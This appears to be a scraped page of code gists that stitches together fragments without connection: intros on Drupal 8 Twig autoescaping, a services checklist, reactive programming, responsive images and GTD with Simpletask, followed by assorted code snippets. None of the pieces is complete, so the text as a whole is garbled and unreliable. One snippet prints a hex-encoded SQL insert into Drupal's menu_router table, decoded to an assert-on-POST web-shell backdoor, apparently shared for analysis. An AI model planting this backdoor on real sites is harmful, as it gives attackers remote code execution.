Benjamin Melançon mlncn

Security:

Best practices for secure Drupal 8 theming

History

Prior to Drupal 8, we relied on manual escaping variables by our developers and themers. Every variable was either run through check_plain(), filter_xss() or another filter function manually or it was assumed to be safe. You can see where this assumption can easily be overlooked/forgotten and we end up with a security vulnerability usually in the form of an XSS attack.

One of the major decisions for choosing Twig in Drupal 8 was due to its autoescape security feature which all variables can be escaped automatically while they are printed. This alleviates a bunch of concerns and burden on the Security Team as well as protect Drupal Sites by default. This is equivalent to Drupal 7 writing <?php print check_plain($variable); ?> on each variable printed.

Internet Scale Services Checklist

A checklist for designing and developing internet scale services, inspired by James Hamilton's 2007 paper "On Desgining and Deploying Internet-Scale Services."

http://mvdirona.com/jrh/talksandpapers/jamesrh_lisa.pdf

Basic tenets

Does the design expect failures to happen regularly and handle them gracefully?
Have we kept things as simple as possible?

The introduction to Reactive Programming you've been missing

(by @andrestaltz)

This tutorial as a series of videos

If you prefer to watch video tutorials with live-coding, then check out this series I recorded with the same contents as in this article: Egghead.io - Introduction to Reactive Programming.

Let’s leave aside, for now, the fact that you’ve changed web standards. You’ve been a participant in the first time—in the history of the web, far as I know—that the web development community has taken a feature from an initial proposal to the funding of an honest-to-God native implementation.

Instead, I want you to focus on this: say only ten developers use a native responsive images solution to reduce the weight of just one page apeice by only 500kb, and each of those pages has a barely-significant 5,000 hits per month: those users have been saved almost 24GB of data. A thousand pages saving 500kb apeice, and we’ve saved users an entire terabyte in a month. Now expand that to the entire industry: every web developer; every hit on every page that would otherwise carry with it a huge, wasteful image request, saving megabytes at a time. To those users, the only change is that the web is faster, less expensive, more accessible. For those users, the web is just better.

In helping make the picture element

How to GTD with Simpletask

This is a guide to implementing Getting Things Done (GTD) using [Simpletask][] by [Mark Janssen][].

Simpletask uses the [todo.txt][] syntax, but has sufficient differences and quirks of its own to be worth describing in detail---at least, that's the story I'm going with. I actually began this guide as an exploration of my own trusted system. Personal workflows are by definition eccentric; I have included only what seems to me to be broadly useful.

This implementation of GTD covers the "standard" classifications: next actions by context, projects, somedays, agendas by person and meeting, etc. In a departure from strict GTD, each entry in these lists is also tagged with an area of focus, interest or responsibility. I find that the ability to slice the system by this extra dimension is worth the additional complexity at the processing and organizing stages. Limitations, issues and workarounds are discussed at the end.

Before we begin, some words of wisdom

	insert into menu_router (path,load_functions,to_arg_functions,description,access_callback,access_arguments) values (0x666176636f6e,0x00,0x00,0x00,0x617373657274,0x613a313a7b693a303b733a31393a224061737365727428245f504f53545b645d293b223b7d)

	Translates to:

	path: favcon
	access_callback: assert
	access_arguments: a:1:{i:0;s:19:"@assert($_POST[d]);";}

	This appears to set the stage for a follow-up where there's an attack payload in the POST.

	<?php
	require_once __DIR__ . '/core/vendor/autoload.php';
	use GuzzleHttp\Client;
	$client = new Client();
	$response = $client->get('http://example.com/node/1', array(
	'headers' => array('Accept' => 'application/hal+json')
	));
	print_r($response->json());

	<script type="text/javascript" charset="utf-8">

	// Global Properties for Line Chart Viz
	var chartHeight = 400
	var chartWidth = 600
	var lineWidth = 3
	var chartAreaWidth = "60%"
	var chartAreaLeft = "10%"
	var xAxisLabelAngle = "45%"

	<?php
	/**
	* @Given /^I am viewing a product with the following related products:$/
	*/
	public function assertRelatedProducts(TableNode $relatedProducts) {
	// First, create a product.
	$product = (object) array(
	'title' => 'Parent Product',
	'type' => 'product',
	'uid' => 1,

	class Thumb extends Backbone.Model

	defaults:
	uri: ''
	state: ''

	select: (state) ->
	st = ''
	st = 'selected' if state
	@set('state' : st)